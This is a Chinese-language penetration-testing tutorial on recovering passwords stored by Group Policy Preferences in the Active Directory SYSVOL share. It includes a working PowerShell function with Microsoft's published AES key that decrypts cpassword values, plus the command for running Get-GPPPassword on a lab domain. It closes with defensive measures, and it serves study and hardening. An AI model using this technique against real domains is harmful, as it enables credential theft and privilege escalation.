域渗透——利用SYSVOL还原组策略中保存的密码

00x00 前言

---

Local Administrator Password Solution（LAPS）最大的优点是能够确保每台域内主机有不同的密码，并且定期更换。那么，如果域内未配置LAPS，如何批量设置域内主机的本地管理员密码呢？这其中又存在哪些可被利用的地方呢？

注：如要完美实现建议选用Server 2003系统！！！这里小编使用Server 2012的域控，由于不支持KB2962486补丁所以会导致部分功能无法完全实现。

00x01 域内共享文件夹\SYSVOL介绍

---

在域中，存在一个默认的共享路径：

\\<DOMAIN>\SYSVOL\<DOMAIN>\

所有域内主机都能访问，里面保存组策略相关数据，包含登录脚本配置文件等

例如，测试主机所在域为21r000.org，可访问共享文件夹\\21r000.org\SYSVOL\21r000.org。

00x02 域管理员批量修改域内主机本地管理员密码的方法

---

1、测试Server 2012系统

对于server2012，想要批量修改域内主机本地管理员密码，常常通过配置组策略执行vbs脚本的方式

给出一个修改密码的vbs脚本(实现方式不唯一)，代码如下：

strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "21r000@test666"
objUser.SetInfo

这种实现方式，最大的弊端在于修改后的密码会明文保存在vbs脚本中，而该vbs脚本通常会保存在共享文件夹\SYSVOL

这就存在一个隐患：任何域用户都能读取该vbs脚本，也就能够获取脚本中保存的明文密码

2、测试Server 2012系统

使用Group Policy Preferences配置组策略批量修改用户本地管理员密码，具体方法如下：

开始-全部应用-组策略管理

选中域21r000.org后，右键，选中“在这个域中创建GPO并在此处链接”

设置名称为test666

test666-设置-右键-编辑

用户配置-首选项-控制面板设置-本地用户和组

右键新建本地用户更新，administrator(内置),设置密码为21r000@test666

委派，设置权限

在详细一栏，可看到该策略对应的ID为{4CEB170F-B356-4BBD-90A6-1AB86412565A}

至此，组策略配置完成，域内主机重新登录，即可应用此策略

在共享文件夹\SYSVOL中可看到组策略对应ID的文件夹

\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}

由于我们刚刚修改了用户配置下的控制面板，所以在对应的文件夹下能找到配置文件Groups.xml，具体路径如下：

\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}\User\Preferences\Groups

Groups.xml内容如下：

  <?xml version="1.0" encoding="utf-8" ?> 
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (内置)" image="2" changed="2021-12-11 07:01:12" uid="{856CE2F7-9053-48B5-BDAD-5C463D2CE3E0}">
  <Properties action="U" newName="" fullName="" description="" cpassword="SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)" /> 
  </User>
  </Groups>

值得注意的是其中的cpassword项，保存的是加密后的内容：

SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc

加密方式为AES 256，虽然目前AES 256很难被攻破，但是微软选择公开了该AES 256加密的私钥

地址链接

借助该私钥，我们就能还原出明文。

还原方式可采用Chris Campbell @obscuresec开源的powershell脚本Get-GPPPassword.ps1

项目链接

该脚本可在域内主机上执行，能够自动查询共享文件夹\SYSVOL中的文件，还原出所有明文密码

powershell -executionpolicy bypass -file Get-GPPPassword.ps1

当然，仅仅为了解密cpassword="SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc"，我们可以对以上powershell脚本的功能简化

简化代码如下：

function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
        [string] $Cpassword 
    )

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)
        
        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}
        }

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
        
        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                             0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        
        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
        
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    } 
    
    catch {Write-Error $Error[0]}
}  
Get-DecryptedCpassword "SnnAkuzBqO6Hx9PkU9X7sVN84eQalEHIikEl6cieXuc"

还原出明文密码为21r000@test666

00x03 组策略中可被利用的地方

---

组策略中可被利用的地方不只在修改管理员密码的位置，还包括以下：

Services\Services.xml

• http://msdn.microsoft.com/en-us/library/cc980070(v=prot.13)

ScheduledTasks\ScheduledTasks.xml

• http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
• http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
• http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)

Printers\Printers.xml

• http://msdn.microsoft.com/en-us/library/cc422918(v=prot.13)

Drives\Drives.xml

• http://msdn.microsoft.com/en-us/library/cc704598(v=prot.13)

DataSources\DataSources.xml

• http://msdn.microsoft.com/en-us/library/cc422926(v=prot.13)

注：以上位置并不绝对，在配置时需要在组策略中填入用户名密码，对应的Groups.xml才会包含cpassword属性，才能用于还原明文。

可以拿计划任务来举例，对应ScheduledTasks.xml的位置

\\21r000.org\SYSVOL\21r000.org\Policies\{4CEB170F-B356-4BBD-90A6-1AB86412565A}\User\Preferences\ScheduledTasks

组策略配置的位置为：用户配置-首选项-控制面板设置-计划任务

新建计划任务，设置名称为：test111，需要选中运行身份，填入用户名test111和密码test@111。

如未输入用户名和密码，则ScheduledTasks.xml文件中不会包含cpassword属性，如下图

填入了测试密码后对应的ScheduledTasks.xml才会包含cpassword属性

mZC5nKiO6yVR2yFD4YZ3umRzNBgRZlODkPDNkaEFQgI

使用powershell对其解密，还原出密码为：test@111

至此得出结论：

域管理员在使用组策略批量管理域内主机时，如果配置组策略的过程中需要填入密码，那么该密码会被保存到共享文件夹\SYSVOL下，默认所有域内用户可访问，虽然被加密，但很容易被解密

这就造成了安全隐患，现实中域管理员往往会在组策略中使用域管理员密码,组策略配置文件中的密码很容易被获得，导致权限提升

为此，微软发布了补丁KB2962486。
KB2962486下载链接

系统打了补丁后，组策略中无法设置用户名密码，如下图

当然，共享文件夹\SYSVOL下的xml文件也就不再包含cpassword属性

注：xml文件还是会和组策略保持同步

00x04 防御

---

结合攻击方法，可供选择的防御方法如下：

使用LAPS批量管理域内主机本地管理员帐户
域控安装补丁KB2962486
不在组策略中使用域控密码
设置共享文件夹\SYSVOL的访问权限
使用PsPasswd批量修改域内主机本地管理员密码

参考链接：

域渗透——利用SYSVOL还原组策略中保存的密码